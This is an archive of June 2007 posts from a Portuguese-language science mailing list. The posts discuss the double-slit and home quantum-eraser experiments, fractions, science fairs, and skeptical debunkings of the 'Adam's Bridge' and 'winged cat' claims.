> Interessantíssimo este experimento. O Mundo Quântico está nos
> revelando grandes surpresas, muitas sem respostas ainda. Gostaria de
> saber mais a respeito deste assunto.






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Os que não dividivam o carro, tentando dividir o UM
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 14:18

Léo,



Venho aqui em busca de novidades. E que encontro, aliás, reencontro? Não
me contenho e disparo: bem feito prá você! Bem feito,bem feito, quem
mandou!

Acho que Murilo diria: tome bichim, tome!

“Sim, e o que é ausencia? É a presença de anti-matéria invertida ao quadrado
da hipotenusa da onda?”



Verdadeiro febeaciencialist! Putz!



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: sexta-feira, 15 de junho de 2007 15:41
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Os que não dividivam o carro, tentando dividir o
UM



Ferrari >>> Do fato que Um é Um, indivisivel.

Takata >>> 1/2 = 0,5 (c.q.d.)

Ferrari >>> Me mostre 0,5 na natureza.

#### Léo: meio dia, meia Lua, meia vida, meia (um dos pés do par de meias)
...

Luiz >>> Vácuo é ausência de matéria.

Ferrari >>> Sim, e o que é ausencia? É a presença de
anti-matéria invertida ao quadrado da hipotenusa da
onda?

#### Léo: Sim, acredito que vc não saiba o que é "ausência". Mas, fique
sabendo que é justamente essa 'ausência' que o diferencia dos que sabem algo
de vida, realidade, ciência, matemática etc.

[]'
Léo





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 14:34

Olá Cacildo

Cacildo: "Vou procurar me inteirar mais nesse assunto, onde, a partir do momento em que assiti o filme/documentário "Quem somos nós" fiquei muito curioso sobre o tema."

Por favor, por favor!..:-) Esse filme é péssimo, um desserviço a ciência e a física.:-) Para entender porque, de uma lida neste "Guia Cético para Assistir...":

http://dragaodagaragem.blogspot.com/2006/11/o-guia-ctico-para-assistir-what-bleep.html
http://dragaodagaragem.blogspot.com/2006/12/o-guia-ctico-para-assistir-what-bleep.html
http://dragaodagaragem.blogspot.com/2007/05/o-guia-ctico-para-assistir-what-bleep.html

Leia o livro de Hawking também, e vai entender bem o quanto o filme distorce os dados para se encaixar em suas crenças.

Um abraço.

Homero




----- Original Message -----
From: Cacildo Krebs
To: ciencialist@yahoogrupos.com.br
Sent: Monday, June 18, 2007 12:56 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla


Agradeço as sugestões. Vou procurar me inteirar mais nesse assunto, onde, a partir do momento em que assiti o filme/documentário "Quem somos nós" fiquei muito curioso sobre o tema.

Abraços

Cacildo

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 15, 2007 3:36 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla

Uma introdução em nível de divulgação vc encontra em "O Universo
Elegante" - q vai além e chega às supercordas (a idéia das branas é
desenvolvida em "O Tecido do Cosmos" - ambos de Brian Greene).

Uma idéia ilustrada, mas nem sempre fácil é apresentada em "Universo
em uma Casca de Noz" - de Stephen Hawking.

Nos três tb são apresentadas noções da mecânica relativística.

O experimento da dupla fenda pode ser feita em casa.
Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1

A Do-It-Yourself Quantum Eraser
http://www.sciam.com/article.cfm?chanID=sa006&colID=1&articleID=DD39218F-E7F2-99\
DF-39D45DA3DD2602A1

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Cacildo Krebs"
> Interessantíssimo este experimento. O Mundo Quântico está nos
> revelando grandes surpresas, muitas sem respostas ainda. Gostaria de
> saber mais a respeito deste assunto.

----------------------------------------------------------

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[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 15:30

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Entrando nessa página e clicando em "next", o quadro que surge
> parece-me algo estranho. Veja o feixe do laser que é 'acentuadamente
> divergente'. Como ele conseguiu isso?

Eles exageraram no esquema para q o efeito ficasse mais facilmente
visível no desenho. De todo modo, ainda q nao acentuadamente, o laser
daqueles apontadores apresentam um certo grau de divergencia.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] p/Leo - medida de tubos
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 15:55

Léo, oi.
Seguinte: houve uma corrente até chegarmos num especialista vascular...
O ''french'' mede 0,33mm, um capilar mesmo.
abr/M.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] p/Leo - medida de tubos
>Date: Mon, 18 Jun 2007 10:15:43 -0300
>
>Olá Murilo,
>
>inda não!
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "murilo filo" <avalanchedrive@hotmail.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: quinta-feira, 14 de junho de 2007 17:49
>Assunto: [ciencialist] p/Leo - medida de tubos
>
>
>( repeteco...)
>
>
> >From: "murilo filo" <avalanchedrive@hotmail.com>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] p/Leo - medida de tubos
> >Date: Wed, 13 Jun 2007 16:40:49 -0300
> >
> >Leo,
> >oi.
> >Vc já conseguiu resposta sobre a unidade ''french'', usada em medicina?
> >Se chegou poderemos confrontar.
> >Acionei minhas bases no mesmo dia, demorou e não foi fácil.
> >Na aguardatura. abr/M. SP 13/junh07
> >
> >
> >
> >
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 16:05

O "Quem somos nos" nao tem nada de cientifico. Eh um besteirol new age.

Para ler uma critica (dividida em 3 partes) visite
http://dragaodagaragem.blogspot.com/2006/11/o-guia-ctico-para-assistir-what-bleep.html
http://dragaodagaragem.blogspot.com/2006/12/o-guia-ctico-para-assistir-what-bleep.html
http://dragaodagaragem.blogspot.com/2007/05/o-guia-ctico-para-assistir-what-bleep.html

Ateh
Luis Brudna





On 6/18/07, Cacildo Krebs <cacildokrebs@uol.com.br> wrote:
>
>
> Agradeço as sugestões. Vou procurar me inteirar mais nesse assunto, onde, a partir do momento em que assiti o filme/documentário "Quem somos nós" fiquei muito curioso sobre o tema.
>
> Abraços
>
> Cacildo
>


SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 16:08

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Corpos são objetos de geometria tridimencinal com
> começo meio e fim, é isto?

Não. Corpo é uma designação genérica de um objeto massivo (=com massa)
no universo. Um ponto adimensional pode ser um corpo (ponto material),
mas não tem extensão.

Onda é um fenômeno q se distingue pela propagação de uma perturbação
(=alteração no valor de uma dada grandeza) - pode ser em um meio
material (ondas mecânicas, caso do som) ou não (caso de ondas
eletromagnéticas). Uma onda carrega energia e, tipicamente
(desconsiderando-se efeitos relativísticos), não carrega massa: por
exemplo, qdo uma onda se desloca no mar, não é a água q vai de um
ponto a outro.

Sugiro fortemente q vc dê uma lida nos textos disponíveis no site do
Prof. Leo: www.feiradeciencias.com.br. Tb sugiro q vc leia
livros-texto de física para o ensino médio (e matemática para o ensino
fundamental), creio q o Prof. Zeca tenha boas indicações didáticas.

(Em tempo, vc ainda está devendo a resolução da questão do cálculo da
energia gerada pela fissão de um núcleo de urânio.)

[]s,

Roberto Takata



SUBJECT: RE: RES: [ciencialist] Os que não dividivam o carro, tentando dividir o UM
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 16:27

Victor, blz?
Eu jamais diria isso... Victor, ô tô in Sun-Paulo, Victor... ôoch...
abr/M.


>From: "J.Victor" <j.victor.neto@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: RES: [ciencialist] Os que não dividivam o carro, tentando dividir
>o UM
>Date: Mon, 18 Jun 2007 14:18:28 -0300
>
>Léo,
>
>
>
>Venho aqui em busca de novidades. E que encontro, aliás, reencontro? Não
>me contenho e disparo: bem feito prá você! Bem feito,bem feito, quem
>mandou!
>
> Acho que Murilo diria: tome bichim, tome!
>
>“Sim, e o que é ausencia? É a presença de anti-matéria invertida ao
>quadrado
>da hipotenusa da onda?”
>
>
>
> Verdadeiro febeaciencialist! Putz!
>
>
>
>Sds,
>
>Victor.
>
>
>
>De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
>Em nome de Luiz Ferraz Netto
>Enviada em: sexta-feira, 15 de junho de 2007 15:41
>Para: ciencialist@yahoogrupos.com.br
>Assunto: Re: [ciencialist] Os que não dividivam o carro, tentando dividir o
>UM
>
>
>
>Ferrari >>> Do fato que Um é Um, indivisivel.
>
>Takata >>> 1/2 = 0,5 (c.q.d.)
>
>Ferrari >>> Me mostre 0,5 na natureza.
>
>#### Léo: meio dia, meia Lua, meia vida, meia (um dos pés do par de meias)
>...
>
>Luiz >>> Vácuo é ausência de matéria.
>
>Ferrari >>> Sim, e o que é ausencia? É a presença de
>anti-matéria invertida ao quadrado da hipotenusa da
>onda?
>
>#### Léo: Sim, acredito que vc não saiba o que é "ausência". Mas, fique
>sabendo que é justamente essa 'ausência' que o diferencia dos que sabem
>algo
>de vida, realidade, ciência, matemática etc.
>
>[]'
>Léo
>
>
>
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 16:30

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Exatamente! A fração é uma entidade matemática,
> linguistica, mapa, não é natural, não é observação,
> não é território.

Vc ficar repetindo essas coisas sem sentido não torna isso verdadeiro.
A carga elétrica de um quark é, em módulo, uma fração da carga de um
elétron (ou de um próton).

Se vc corta uma maçã ao meio e come uma das partes, vc terá MEIA maçã.
Agora vc deverá ficar mm horrorizado qdo descobrir números
irracionais: q não podem ser expressos por razões de números inteiros.

Pegue uma folha de papel retangular cujo lado maior seja o dobro do
lado menor. Nomeie no sentido horário os cantos do papel como A, B, C
e D. Sendo o lado AB paralelo a CD (ambos, os lados menores do papel)
e o lado BC paralelo a AD (ambos, os lados maiores do papel). Pegue o
canto A e dobre o papel de modo q o lado AB fique alinhado em cima do
lado BC. Marque bem o vinco q forma no papel. Chame o ponto de
encontro entre o vinco e o lado AD de E - o vinco deverá correr de E
até B. Pegue um compasso e coloque a ponta fixa sobre o ponto B e a
ponta móvel sobre o ponto E. Trace um arco de circunferência do ponto
E até chegar ao lado BC. Chame o ponto de encontro entre o arco e o
lado BC de F. Trace uma perpendicular ao lado BC a partir do ponto F.
Chame o ponto de encontro entre essa perpendicular e o lado AD de
ponto G. Uma os pontos F e G com um traço - ele será paralelo aos
lados AB e CD. Recorte a folha sobre o segmento FG. Vc terá duas
partes. Uma parte será maior do q a outra. Chame a parte menor de 1.
Como a outra é maior, vc não poderá chamar de 1 - ela será maior do q
1. Mas tb não é 2 - ela não tem o dobro de tamanho do pedaço 1. Na
verdade vc não poderá chamar a outra parte por NENHUM número inteiro
de tal forma q seus tamanhos possam guardar a relação de proporção q a
relação de seus nomes designarem.

[]s,

Roberto Takata



SUBJECT: Re: Olá Pessoal! Raciocínio lógico/matemático
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 16:56

--- Em ciencialist@yahoogrupos.com.br, Michel Moccelin Viccari
> Alguém conhece alguns exercícios lógicos e matemáticos para
> estimular o cérebro um pouco?

http://www.gluon.com.br/blog/category/desafios-e-jogos/
-----------
[]s,

Roberto Takata



SUBJECT: O FIM DO MUNDO - DE NOVO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 17:44

Isaac Newton previu o fim do mundo para 2060, aponta manuscrito
http://www1.folha.uol.com.br/folha/ciencia/ult306u305205.shtml
-----------------
[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 18:44



Olá biólogo que me fugiste na ida a São Paulo em 2005...
Então repara lá no título da mensagem? Foi quem colocou o tópico
original...e "vomecês" nem viram.´
Pois mas por aqui no meio de tantos professores de Química e de
Física não pode passar em branco nem como título nem em menino com
mais do que ensino médio ou secundário.

Eu não fui.
Quem seria?
o yahoo apanha as culpas?

Boas aulinhas, senhores professores
Maria Natália


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Maria Natália <grasdic2@>
> > ESPAÇO DE TEMPO??????
>
> Mas quem usou a expressão "espaço de tempo"?
>
> No máximo usou-se "espaço-tempo".
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 18:49

--- Em ciencialist@yahoogrupos.com.br, Maria Natália <grasdic2@...>
> Olá biólogo que me fugiste na ida a São Paulo em 2005...
> Então repara lá no título da mensagem? Foi quem colocou o tópico
> original...e "vomecês" nem viram.´

Como eu disse, o Ferrari não conta.

[]s,

Roberto Takata



SUBJECT: Re: Fw: Feira de Ciências e seus problemas
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 18:55


O Sagan também falou sobre o Ensino de Ciência no Brasil...
Leo tem aí o artigo?

mas as feiras de ci~encias tal como estão a suceder no Brasil...em
que são os papás e os explicadores a fazerem o tema aos meninos,
estilo papinha feita, e para a família ficar orgulhosa no "bordado"
do menino...acho que nem tem trabalho de investigação para se saber
quantos daqueles moços daí a 7 anos têm curso em faculdade de Física
ou de Química.
Acho que é um modo de pedagogos lavarem as mãos do facto de não
serem capazes de dizer ao ministro da Educação (ou lá quem manda)
que o ensino de Ciência vai mal: turmas de mais de 25 alunos,
inexistência de aulas práticas/experimentais mo currículo dos
meninos dos 12 aos 17 anos, não existência de laboratórios
professores sem Curso de Ensino em Física/Química...

Porque falo assim? Pois é que muitos se esquecem que tendes moços
emigrantes e que eu tenho recebido meninos brasileiros desde os 12
aos 18 anos aqui em minhas aulas e que tive de contactar colégios
dos meninos para saber o que lhes tinham dado de F e de Q...
Portanto não sendo brasileira mas PROFESSORA em exclusividade tenho
a mania que TODOS os alunos são iguais: patricinhas betinhos
favelados minorias estrangeiros etc...
Logo tenho de estar a par do que se passa aí.
Se quereis saber mais ou declarar-me persona não grata , á vontade...
Já ttenho currículo e prometo não matar mmeninos/as vindas do Brasil.
Um abraço aos homens de coragem do Brasil e que estão na luta pelas
turmas de não mais de 25 alunos e contra a Física e a química de giz.
Maria Natália


--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> Prof: Segundo o seu colega Sagan, o objetivo das feiras, dos
> experimentos, para a ciência, seria coletar o "deslumbramento", o
maio
> recrutador de cientistas que se pode imaginar. Neste sentido, as
> feiras funcionam perfeitamente, se bem elaboradas. No entanto, há o
> fator de "anti-deslumbramento" que a mídia nos fornece, com os
> estereótipos que todos aqui tanto conhecem, e que são apresentados
nos
> programas populares. Diria, o "fator coisas-de-nerds".
>
> Gil
> Em 18/06/07, Luiz Ferraz Netto<leobarretos@...> escreveu:
> > Olá Takata e todos,
> >
> > apreciaria responder adequadamente ao Educador abaixo. Aceito
sugestões (texto abaixo).
> > []'
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@...
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: Ademir Jose Rosso
> > Para: leobarretos@...
> > Enviada em: quinta-feira, 14 de junho de 2007 09:02
> > Assunto: Feira de Ciências e seus problemas
> >
> >
> > Estou trabalhando com meus alunos da Prática de Ensino Biologia.
No primeiro semestre trabalho com atividades extracurriculares. Este
ano nos inserimos nas Feiras de Ciências que estão acontecendo nas
Escolas Estaduais.
> >
> > Me chamou muita atenção o seu depoimento/desabafo de abertura da
feira virtual.
> >
> > Gostaria você discutisse a seguinte hipóstese minha sobre o
assunto: "As atividades extraclasses desenvolvidas para apoiar e
complementar o Ensino de Ciências regular, como por exemplo, a Feira
de Ciências podem reproduzir e reforçar as práticas estereotipadas
do Ensino de Ciências." De forma redutiva seria o seguinte: a Feira
de Ciências não funciona porque o Ensino de Ciências está mal.
> >
> > Prof. Dr. Ademir José Rosso (ajrosso@...)
> >
> >
> >
> > -----------------------------------------------------------------
---------------
> >
> >
> > No virus found in this incoming message.
> > Checked by AVG Free Edition.
> > Version: 7.5.472 / Virus Database: 269.8.13/843 - Release Date:
10/06/2007 13:39
> >
> >
> > [As partes desta mensagem que não continham texto foram
removidas]
> >
> >
> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.com
> >
> >
> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
> >
> >
>




SUBJECT: Re: Espaço-de-tempo?
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 18:58


Quanto ao Ferrari ele ficaria bom depois de fazer 50 h de trabalhos
de Química em laboratório como os nossos mocitos dos 12 aos 18 anos.
Ficava afinadinho e convertido á Ciência dura e pura!
Qd ele vier a Portugal lhe tratarei da saúde.
Olá Ferrari...
Maria Natália

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Maria Natália <grasdic2@>
> > Olá biólogo que me fugiste na ida a São Paulo em 2005...
> > Então repara lá no título da mensagem? Foi quem colocou o tópico
> > original...e "vomecês" nem viram.´
>
> Como eu disse, o Ferrari não conta.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 19:35

Hummmm! Não concordo. O foco do ponteiro laser é muito pequeno para aquela distância ... com certeza não dará para ver as franjas de difração. No texto ele fala de "uma folha fina" ou algo do gênero que reveste a ponta do ponteiro. Meu ingreis não permite detalhes. Veja lá se essa folha, sei lá de que, não é a causa da dispersão do feixe. Traduza a coisa prá nóis.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 18 de junho de 2007 15:30
Assunto: Re: Res: [ciencialist] Animação da experiência da fenda dupla


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Entrando nessa página e clicando em "next", o quadro que surge
> parece-me algo estranho. Veja o feixe do laser que é 'acentuadamente
> divergente'. Como ele conseguiu isso?

Eles exageraram no esquema para q o efeito ficasse mais facilmente
visível no desenho. De todo modo, ainda q nao acentuadamente, o laser
daqueles apontadores apresentam um certo grau de divergencia.

[]s,

Roberto Takata




SUBJECT: A Ponte de Adão (bem baixinho)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/06/2007 19:58

A Ponte de Ad�o (bem baixinho) <http://www.ceticismoaberto.com/news/?p=907>

<http://en.wikipedia.org/wiki/Adam%27s_Bridge>

A NASA disponibilizou uma foto obtida pela miss�o Space Shuttle 59 na qual
se constata a exist�ncia de uma ponte, sob o Oceano �ndico construida
artificialmente, ligando a India ao Sri Lanka. At� a�, tudo bem�� S� que
esta ponte data do ano 1.750.000 a.C.!!!�
Esta ponte antiga e misteriosa fica no Palk Strait e unia a �ndia ao Sri
Lanka. A ponte recentemente descoberta foi chamada de "Ponte de Ad�o", �
feita por uma cadeia de baixios e tem 30 quil�metros de comprimento. A
curvatura da ponte e a sua composi��o revelam que foi constru�da pelo homem.
As lendas, como tamb�m alguns estudos aqueol�gicos, revelam que os primeiros
sinais de habitantes humanos na regi�o do Sri Lanka datam de 1.750.000 anos
atr�s� O que, alias, � a idade estimada da ponte.
O Ramayana, um velho texto inici�tico ind�, fala de acontecimentos ocorridos
na �poca de Tetra Yuga. (mais de 1.700.000 anos atr�s!!!!�) Nesta epop�ia,
h� uma men��o sobre uma ponte que foi constru�da entre Rameshwaram (a �ndia)
e Srilankan, sob a supervis�o de uma figura din�mica e invenc�vel chamada
Rama que � dizem ser a encarna��o do supremo. Isto pode n�o ser de grande
valia para os arque�logos que est�o interessados em explorar as origens do
homem, mas refor�am a cren�a dos buscadores do esp�rito com a confirma��o da
veracidade de uma hist�ria t�o antiga� [A Ponte de
Ad�o<http://www.imagick.org.br/pagmag/Mystery/myst45.html>
]

Ou assim diz a lenda. Mas o que a NASA diz? *"Imagens ou fotografias de
sensoreamento remoto tomadas em �rbita n�o podem fornecer informa��o direta
sobre a origem ou idade de uma cadeia de ilhas, e certamente n�o pode
determinar se humanos estiveram envolvidos na produ��o de quaisquer padr�es
vistos"*, disse o oficial da NASA Mark
Hess<http://www.trekshare.com/travel/travelogue.htm?journalid=8421>.
Segundo a ag�ncia espacial americana, a ponte nada mais � do que uma cadeia
natural de bancos de areia de 30 quil�metros de tamanho. A ag�ncia vem
tomando imagens da �rea h� anos, assim como de muitas outras partes do
mundo, e nenhuma descoberta extraordin�ria a respeito da ponte surgiu. "As
imagens reproduzidas pela internet podem bem ser nossas, mas sua
interpreta��o com certeza n�o �", completou
Hess<http://www.laputanlogic.com/articles/2002/11/03-83975630.html>
.
Em verdade, a profundidade da ponte ao longo de toda a extens�o *n�o passa
de um metro e meio na mar� alta � da� porque deveria ser um Ad�o muito
baixinho � * e como N. Ramanujam, chefe do departamento de geologia da
universidade de V.O. Chidambaram
explicou<http://www.hindu.com/2007/03/17/stories/2007031713280200.htm>,
� apenas um dep�sito sedimentar. Pelo menos tr�s canais foram abertos
atravessando a ponte, e nenhum revelou quaisquer sinais de constru��o
humana.
Que religiosos tentem se valer da credibilidade da NASA para validar suas
lendas n�o � nenhuma novidade. Uma das mais conhecidas � a hist�ria de como
a NASA descobriu o dia em que o Sol
parou<http://www.ceticismoaberto.com/fortianismo/solparou.htm>
.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: RES: [ciencialist] O FIM DO MUNDO - DE NOVO
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 20:21

Fico com a parte científica de Newton, matemática e física. O resto, que
escreveu e disse, movido por suas crenças, não passou de bobagens e nada
tem a ver com ciência. Não culpo só a época, seus costumes e imposições.
Não fossem suas tradições e suas limitações, das quais também não escapou,
coisas ridículas do tipo não estariam hoje sendo veiculadas, espantando os
bestas. Se bem que espero, ainda, que o texto a que se referem as bobagens
em questão não tenham sido escritas por ele. De qualquer maneira, em 2060,
muitos de nós já teremos entrado pela perna do pinto e saído pela do pato.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: segunda-feira, 18 de junho de 2007 17:44
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] O FIM DO MUNDO - DE NOVO



Isaac Newton previu o fim do mundo para 2060, aponta manuscrito
http://www1.folha.uol.com.br/folha/ciencia/ult306u305205.shtml
-----------------
[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 20:32

--- Em ciencialist@yahoogrupos.com.br, Maria Natália <grasdic2@...>
> Olá biólogo que me fugiste na ida a São Paulo em 2005...

Em tempo, não sou biólogo - não tenho o CRBio.

[]s,

Roberto Takata



SUBJECT: Gatos com asas: a (nada) terrível verdade
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/06/2007 21:08

Gatos com asas: a (nada) terr�vel verdade <http://100nexos.com/arquivo/175>

<http://minhanoticia.ig.com.br/materias/433501-434000/433722/433722_1.html>

"Um gatinho, pertencente ao chin�s Granny Feng, criou longas asas. No come�o
o dono achou que fossem apenas caro�os, mas depois de um m�s os ossos
cresceram e os membros ficaram parecendo duas asas. Feng contou que as asas
come�aram a se desenvolver depois que o gato foi assediado sexualmente por
algumas gatas h� alguns meses".

Gatos com asas s�o uma realidade, mas a nada terr�vel verdade � que os
ap�ndices n�o s�o asas de verdade. Como muitos podem imaginar, algumas
"asas" s�o apenas bolos de p�lo, ou malforma��es cong�nitas � isto �, os
felinos nascem com membros a mais. Nada disso seria muito interessante, o
que � interessante � que a terceira explica��o para gatos
alados<http://en.wikipedia.org/wiki/Winged_cat>� uma condi��o chamada
*astenia cut�nea felina
*(FCA<http://www.everything2.com/index.pl?node_id=1480052>),
ligada inicialmente ao fen�meno dos gatos com asas pelo ingl�s Karl Shuker.
A condi��o, que tem uma contraparte em
humanos<http://www.metacafe.com/watch/103009/the_rubber_man/>,
faz com que a pele se torne extremamente el�stica, como borracha. Ela pode
acabar se esticando em longos ap�ndices, e em gatos, os ap�ndices de pele �
sempre surgindo ao redor das costas � podem manter alguma liga��o com
m�sculos. Quando os gatos correm, podem gerar a cena inusitada de felinos
batendo suas "asas".
Se estendidas demais, as "asas" dos gatos podem se desprender, sem
sangramento ou dor ao bichano, e seu aspecto � como de uma fibra dura de
cart�o, o que pode ter levado o chin�s Feng a pensar que tinha ossos.
Abaixo, fotografia de um caso ingl�s dos anos 1970:

Este artigo de Sarah Hartwell em
Messybeast<http://www.messybeast.com/winged-cats.htm>tem uma grande
s�rie de informa��es e imagens, j� a fotografia acima �
original do artigo de Shuker na revista Fortean
Times<http://www.forteantimes.com/>168. Gatos com "asas", acredite se
quiser, s�o t�o reais quanto pessoas
ou coelhos com "chifres" na
cabe�a<http://marcianitosverdes.haaan.com/2007/02/hombres-cornudos/>
.

*Veja tamb�m:*
Gizmo � Imperd�vel <http://100nexos.com/arquivo/139> "Gizmo" � uma
compila��o fa...
A verdade sobre o Google Earth <http://100nexos.com/arquivo/65> Descobriram
como funciona o Google Earth! [via Be...
Comprar �culos on-line: nada ruim, muito
barato<http://100nexos.com/arquivo/145>H� tempos o BoingBoing indicou
o blog Glas...
Hist�ria da religi�o: 5.000 anos em 90
segundos<http://100nexos.com/arquivo/29>Original
de Maps of war, � em verdade uma hist�r...
MIT revive sonho de Nikola Tesla <http://100nexos.com/arquivo/166> Na imagem
acima, a transmiss�o sem fios de...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 21:19

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Traduza a coisa prá nóis.

ScientificAmerican.com
Apagador Quântico Caseiro

1 de 6
Os passos apresentados aqui esboçam o modo de se ver o apagador
quântico em ação. Veja www.sciam.com/ontheweb para a lista de
materiais necessários, dicas de solução de problemas e discussões
adicionais.

Figura:
Grampo endireitado
Filme polarizador

2 de 6
1 - VISUALIZANDO A INTERFERÊNCIA
- Embrulhe a extremidade funcional do apontador laser com papel
alumínio e faça um furo com um alfinete para deixar passar um pouco do
feixe de luz.
- Ajuste o laser de modo que ele ilumine uma tela a pelo menos 6 pés
(~2 metros) de distância. Ele deve produzir uma mancha circular de luz
na tela.
- Posicione o arame verticalmente e centralizado em relação à luz.
O QUE OCORRE: Como mostrado, um padrão de interferência deve ser
